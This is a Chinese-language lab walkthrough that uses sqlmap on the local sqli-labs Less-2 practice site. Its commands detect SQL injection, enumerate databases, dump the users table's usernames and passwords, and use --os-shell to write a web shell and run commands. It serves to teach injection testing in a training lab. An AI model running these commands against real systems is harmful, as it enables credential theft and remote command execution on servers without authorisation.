環境
- phpstudy
- sqli-labs
本次注入中我們使用sqli-labs的less-2作為測試網站
使用sqlmap進行MySQL數據庫的注入
檢測是否存在注入
python sqlmap.py -u http://localhost/sqli-labs/Less-2/index.php?id=1

顯示payload詳細信息
python sqlmap.py -u http://localhost/sqli-labs/Less-2/index.php?id=1 -v 3

當前數據庫用戶是否是高權限用戶
python sqlmap.py -u http://localhost/sqli-labs/Less-2/index.php?id=1 --is-dba

查看當前用戶的權限
python sqlmap.py -u http://localhost/sqli-labs/Less-2/index.php?id=1 --privileges

爆數據庫
python sqlmap.py -u http://localhost/sqli-labs/Less-2/index.php?id=1 --dbs

爆當前數據庫
python sqlmap.py -u http://localhost/sqli-labs/Less-2/index.php?id=1 --current-db

爆所有數據庫的所有表(比較慢,因為所有數據庫中的表太多了)
python sqlmap.py -u http://localhost/sqli-labs/Less-2/index.php?id=1 --tables

爆指定數據庫的所有表
python sqlmap.py -u http://localhost/sqli-labs/Less-2/index.php?id=1 -tables -D security

爆指定表的所有列
python sqlmap.py -u http://localhost/sqli-labs/Less-2/index.php?id=1 -columns -T users -D security

爆指定列的指定字段
python sqlmap.py -u http://localhost/sqli-labs/Less-2/index.php?id=1 -dump -C id,username,password -T users -D security

sqlmap寫入shell
python sqlmap.py -u http://localhost/sqli-labs/Less-2/index.php?id=1 --os-shell
這里我們是php的環境,我們選擇4

這里我們選擇2,自定義路徑,我們輸入路徑phpstudy/www,注意:不能跨盤符,的phpstudy安裝的位置是D:\phpStudy

選擇接受標准輸出,隨后進行命令執行

回頭看看我們的文件夾,文件夾中出現了寫入的shell

